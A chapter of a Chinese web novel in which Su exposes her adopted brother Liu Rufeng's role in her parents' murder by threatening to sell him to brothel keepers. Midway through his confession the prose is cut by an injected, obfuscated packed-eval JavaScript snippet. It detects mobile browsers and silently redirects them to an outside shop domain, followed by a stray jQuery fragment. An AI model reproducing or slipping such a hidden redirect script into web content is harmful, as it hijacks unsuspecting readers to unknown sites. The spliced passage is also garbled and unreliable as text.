苏?没被他的话牵着走,而是问:“翟坤在哪个倌楼赎的你?”
柳如风听见这个问题,目光躲闪着,“在……就在定州城里的……”
“说谎。”苏?打断他。
柳如风愣了一下,下意识地否认:“我……我没有……”
苏?没给他继续编下去的机会——
“你失踪后,我派人在京城、定州以及周边的你可能去的城池,都留意过。”
“倌楼、赌场、棋社……这些所有你可能陷进去的地方,都有人几次三番、一间一间地进去找过。”
她的每一个字都像钉子一样,精准地钉进柳如风的话缝里。
“我甚至给了老鸨银票和你的画像,只要你出现,不可能没人通知我。”
柳如风沉默着向后退了两步,站得离她远些。
“苏姐姐。”他的声音也变了。不再哽咽颤抖,而是小声确认:“从你在定州见到我,就知道我在说谎了吗?”
“如风,到底发生了什么?”
苏?却走近了些,不是逼问的姿态,反而带着几分劝慰的温和,像是一个姐姐在开导犯了错的弟弟。
“从你十三岁我把你赎回来开始,我就知道,你恨极了那些风月之处。”
“若你真的再次身陷倌楼,定会极力与我隐瞒,而非挂在嘴边自轻自贱,惹我同情。”
柳如风听完这句话,忽然笑了一声,却并不轻快,而是带着种说不清道不明的苦涩。
那张清秀的脸绷紧绷着,反问:“你说我自轻自贱?”
“你们何曾把我当过真正的家人?”他的声音猛地拔高,尖细而刺耳。“自从我来到苏家,在你爹娘面前低声下气、像个玩物似的讨他们欢心——”
他越说越快,像是憋了一肚子的话终于找到了一个出口,往外倒的时候根本刹不住。
“你们从不肯让我插手家里的生意,家财万贯,却只给我京郊两间破房子便打发了!”
他的眼眶又红了,但这一次不是装的。
“他们明知我中意你!却放着知根知底的我不要,还是让你招婿!”这句话说出口的时候,他的声音颤了一下,像是终于把压在心底最深处的那块石头搬开了。
“你们何曾真正看得起我过!”
最后一个字落地,屋子里安静了。
苏?看着他、听着他,神色越来越冷。
等他说完了,抬腿,一脚踹在柳如风的胸口。
动作干脆利落,柳如风抵在门板声,生生受了这记窝心脚,发出一声闷哼。
他猛地咳了几声,手按着被她踢中的肋下,难以置信地抬起头来,“苏姐姐?”
苏?收回脚,抖了抖衣摆,“我苏家怎么养出你这么个白眼狼来!”
柳如风瘫坐在地上,仰着脸看她,嘴巴张了张,又合上了,肋间的钝痛让他说不出话来。
“嫌苏家对你不好?”苏?冷笑了一声,“我就让你看看,什么才是真正的不好。”
她转身推开门,对着廊下唤了一声——
“墨雨。”
墨雨从廊柱后面转出来,脚步轻快,“家主。”
“去,将京中几家倌楼的老鸨都请来。让他们掂量掂量,这柳公子,值几个钱。”
柳如风如遭雷劈。
“你这样不满,索性哪来回哪去。”苏?讽刺道。
“你……你不能!”
柳如风这才知道怕了。
他顾不上疼,跪着往前挪了两步,伸手抓住苏?的衣角。
“苏姐姐!你不能这样对我!我……我跟了你这么多年……”
苏?低头看着他,半点怜悯也无,目光刀子似的将他剖开——
“我今日出城前,稳篙公告诉我,你在定州。你那番煽动百姓的话说得精彩,不枉我供你念书这么多年。”
柳如风的脸色白了一瞬,又迅速恢复。他低着头,眼珠转了转,再抬起头时,脸上又挂上了那副楚楚可怜的表情。
“苏姐姐,你误会我了!我不认识什么……”
“这一路上,我一直在给你机会坦白,但你却不珍惜。”苏?打断了他,踢开他拉着她衣摆的手,“怎么?回了苏宅发现自己无缝可插、发现我对你态度冷淡,害怕了?想脱身了?”
“我没有……”柳如风不知道能说什么,只能不断重复这三个字。
苏?没理他,拿起桌上的那块兵部侍郎府的牌子,在手里转了转,冷笑:“我知道你现在在想什么,想着出门去投奔稳篙公?”
柳如风的嘴唇颤了颤,没有否认。
“他许了你什么好处?”苏?把玩着令牌,抽丝剥茧般,缓缓说:“这样要紧的东西,翟坤不会轻易示人……这大约就是他与稳篙公合作的质物。”
她顿了顿,目光在他脸上停了一瞬。
“稳篙公却给了你?”
柳如风低着头,肩膀微微发抖,辩解:“我……都是他们逼我的!我真的没有想过要害你……”
“闭嘴。”苏?只说了两个字。
柳如风的声音像被刀切断了似的,戛然而止。
她走到桌边,坐下来,拿起桌上的笔,蘸了墨,在纸上写起来。边说边写,像是在给自己理清思路——
“你方才是故意将这令牌在我面前掉出来的,好引我去查兵部侍郎翟坤。”
她的笔尖顿了顿,在“翟坤”两个字下面画了一道横线。
“想必那翟坤也不是个好相与的,稳篙公想引我二人鹬蚌相争,他好坐收渔利?”
“至于你……”她抬起头,目光落在瘫坐在地上的柳如风身上,“稳篙公答应你……等我与翟坤两败俱伤,就让你执掌苏家?”
柳如风彻底被看穿了。
苏?将笔扔下,开门见山:“既然你不忿已久……爹娘到你那落脚时,是你下了药吧?”
这句话落下来的时候,屋子里安静得能听见烛芯燃烧发出的细微噼啪声。
柳如风的身体猛地一颤,无处遁形。他的手指扣在地板上,指甲嵌进木头的缝隙里,指节泛白,克制着自己隐害怕产生的颤抖。
苏?了然——
爹娘带着有身手的伙计出门,不可能只齐老六一个逃出来。除非,在出事之前,那些伙计就已经失去了反抗的能力。
而能让所有人不设防的,只有柳如风。
只要一场接风宴,就能办到。
她闭了一下眼睛,将那点涌上来的酸涩压了下去,开口:“我想听你亲口说说……来龙去脉。”
柳如风垂着头,一声不吭。
苏?也不催,静静等着。
许久,墨雨推门进来的时候,带进来一阵夜风,吹得烛火晃了晃。
“家主,”她福了福身,声音不大,“人到了。”
不多时,带着几个人鱼贯而入。
领头的是个四十来岁的妇人,穿着一件绛紫色的绸衫,头上插着两根金簪,脸上涂着厚厚的脂粉,笑的时候眼角的皱纹像扇子一样展开。
跟在她身后的是两个年轻些的女子,也是浓妆艳抹,衣着华丽,浑身上下透着一股风尘气。
她们一进门,目光就落在了跪在地上的柳如风身上。
那领头的老鸨上下打量了一番,笑容殷勤:“苏老板,有什么吩咐。”
苏?下巴朝柳如风的方向抬了抬,“这个,值几个钱。”
老鸨们对视一眼,心领神会。
她们笑着走上前来,在柳如风面前蹲下,开始上下打量。有人捏着他的下巴,迫他抬起头来,对着烛光看他的脸;有人掰开他的嘴,看他的牙口;有人拉着他的手腕,翻来覆去地看他的手指;还有人绕到他身后,拍了拍他的肩膀,捏了捏他的腰。
柳如风被墨雨按住,只能像个玩物一样被她们摆弄着,脸涨得通红,嘴唇抿成一条线,眼睛里充满了屈辱和恐惧。
“苏老板,”领头的老鸨笑着转过头来,热情而精明,“年纪是大了些,但皮相不错,听说读过书?”
她说着,在柳如风的腰上捏了一把,满意道:“有些达官贵人偏爱这口。您出个价吧——”
柳如风的脑子里那根弦终于断了。
“我说!我全都说!”
他的声音嘶哑,带着哭腔,猛地从地上挣扎着站起来,推开那几个老鸨——
“你们都给我滚!”
他连滚带爬地跪到苏?脚边,双手抓住她的衣角,仰起头来。他的脸上全是泪水和汗水,混在一起,顺着下巴往下滴。
“我说!我说!我全都说!”
苏?吩咐墨雨:“让几位去外间喝茶,待会儿我再决定卖不卖。”
墨雨点了点头,走到几位老鸨面前,客客气气地做了个“请”的手势。
屋子里重新安静下来。
柳如风过了好一会儿才平静下来,松开了她的衣角,垂手撑在地板上。
“我第一次见稳篙公,是你决定招赘之前。我一人去喝闷酒,他主动找我,说有法子让我……让我得到你和苏家。我自然不敢轻信……”
“可后来那一年,他的确给我的那间铺子介绍了不少生意。我赚得越来越多,与白浪会的牵扯也越来越深。一年多以前,你离京待产时,他又找上我,说……说……”
他的声音颤了一下,像是接下来的话太过沉重,他的喉咙承受不住。
“说可以处理掉那个赘婿和……和爹娘,让我得到苏家。”
他说出“爹娘”两个字的时候,声音含糊着。却不是因为愧疚,而是因为恐惧——他害怕苏?的反应。
苏?没有任何反应,只是安安静静听着,像是早就猜到了这一切,只等他亲口说出来。
柳如风不敢看她的脸,声音越来越快:
“也是那时,我才知道,原来苏家有那么多产业!我……我被猪油蒙了心,竟然答应了他。”
“接着说。”苏?冷笑一声。
因为朝廷对海东国遗民的防备。白浪会的产业,明面上不能由白浪会的人直接经营。所以他们需要一个干净的、与白浪会没有直接关系的人来接手。
而柳如风,有野心,没脑子,好拿捏。
“爹娘到我那时,我在饭菜里下了些软筋散,然后……”
柳如风清了清嗓子,带着一种破罐子破摔的决绝。
“白浪会的人扮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17584466|204921||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
作暴民上门找茬。那时的翟坤是京畿守备,正好奉旨带兵镇压,与白浪会一起……杀了爹娘和伙计们。翟坤顺势以暴民械斗上报结案。”
“接着说。”苏?喝了口手边的冷茶,将心口的灼痛压下去。
“事发第二天,我按照稳篙公说的,消失离开,在白浪会的一处隐蔽住所里等……等他们杀了那个赘婿,把你送到我面前。”
他说到这里的时候,忽然抬起头来,看了苏?一眼。那目光里有恐惧,有悔恨,还有一丝说不清道不明的期待——像是在说,我都是为了你。
“但他们失败了。”他竟然还有些惋惜,“稳篙公说,他们找到了你在浮梁津待产,但那段时间,刚好碰见朝廷的水兵在浮梁津演武,所以他们没机会下手。”
苏?想起,她决定出京待产时,本来要去定州的,是阿珩非要去浮梁津,说那是他长大的地方,邻里邻居都熟悉,能帮上忙。
那些画面只是一闪而过,没来得及细想,又被柳如风的声音拉回来——
“你回京后,稳篙公让我先躲起来,耐心等着。之后就是定州......”
“依你所言,稳篙公与翟坤蛇鼠一窝。为何事情已经过去一年多,又突然让你引我与翟坤相斗?”苏?一直没有想通这个问题。
柳如风抬起头来,脸上还挂着泪痕,但表情已经平静了许多。
“是朝廷。前几日,刑部不知为何,又开始重新调查暴民械斗的案子。”
苏?的眉头微微蹙了一下。
刑部重新调查?为什么?
柳如风继续说:“翟坤听到消息,以此要挟稳篙公,要银子。稳篙公一不做二不休,便让我去定州等你,将爹娘的死都推到翟坤身上。”
真相大白。苏?一言不发起身,径直走了出去,再没看他。
“姐姐!”柳如风慌了神,从地上爬起来,膝盖一软又跪了下去,声音里带着哭腔,“我是被他的花言巧语骗了!我不是故意的……”
苏?站在门口,对着候着的墨雨招了招手。
“让那些人都散了吧。”
“把爹娘给柳如风置办的铺子、房子、银子都收回来。”
墨雨点头记下。
“柳如风,关起来,看住。请信得过的大夫来,放出消息,说柳公子在地震中受了伤。”
只有柳如风得手了,才能让稳篙公继续落子。
“亥时,你陪我去一趟兵部侍郎府。”
“明白。”墨雨应下,转身去安排。
苏?回主院时,绕了一小段路,先去了东侧院。
院子里的那棵桂花树下,沈珩正抱着沅沅去摘头顶桂花枝上的一朵小花。沅沅被他逗得咯咯直笑,伸出小短手去够那朵花,够不着,急得直蹬腿。
他又把花枝往下压了压,让女儿够到。沅沅一把抓住那朵花,攥得紧紧的,然后往自己嘴里塞。
他把花从她手里轻轻抽出来,换了一颗桂花糕塞进她手里。沅沅立刻忘了花的事,专心致志地啃起桂花糕来,糊得满脸都是。
“夫人。”沈珩转过头来,看见她,也是眉眼弯弯一笑。
苏?走到他面前,装模作样地打了个哈欠,用手背掩着嘴,眼皮耷拉着,一副困得不行的样子,“怎么还没休息?”
他伸出一只手,揽住她的肩膀,将她往自己身边带了带。
“柳如风没事了?”他问。
苏?靠在他肩头,没有说话。沅沅被挤在两个大人之间,不满地哼唧了一声,小短手推了推苏?的脸。
苏?笑着往后躲了躲,随口道:“如风就是那个性子,没事。”
沈珩揽着她的肩,带着她往小桌前走。小桌上摆着几碟小菜,一碗粳米粥,还在冒着热气。
“晚膳没用好,再吃点。”他说,把她按在椅子上坐下,自己抱着沅沅坐在她对面。
苏?摇了摇头,凑近他,压低声音:“节食。”
她忽然想起饭桌上的事,话锋一转,作势一挑眉,“我警告你!你不要为了收买二房三房,没有底线啊!我赚钱养家可是很辛苦的!”
她煞有介事地看着他,那双杏眼里带着一点认真的、当家人才有的斤斤计较。
沈珩失笑。
两人有一搭没一搭地聊起二房三房。许是闹觉,沅沅忽然哭了起来。
苏?站起身,又打了个哈欠,“女儿交给你了,我这一路累得不行。”
“要不要我侍候夫人……”沈珩拉住她。
苏?回过头来,嗔了他一眼,“你想得美。”
她走后,沈珩轻车熟路哄睡了沅沅,回房时,周来已经站在屋子里了。
“皇上。刑部已经查明,之前苏家父母涉及的那场百姓械斗,是当时的京畿守备、现在的兵部侍郎翟坤主办的。另外,又按皇上的吩咐悄悄查了他府上那段日子的账目,的确有些不明不白的分笔进项,加在一起数额不小。”
“让刑部连夜去兵部侍郎府提人问询。”沈珩声音不大,目光落在小床上睡着的沅沅身上。
小家伙翻了个身,把小脸埋进被子里,只露出一个毛茸茸的头顶。
“天亮前,给朕个明白。”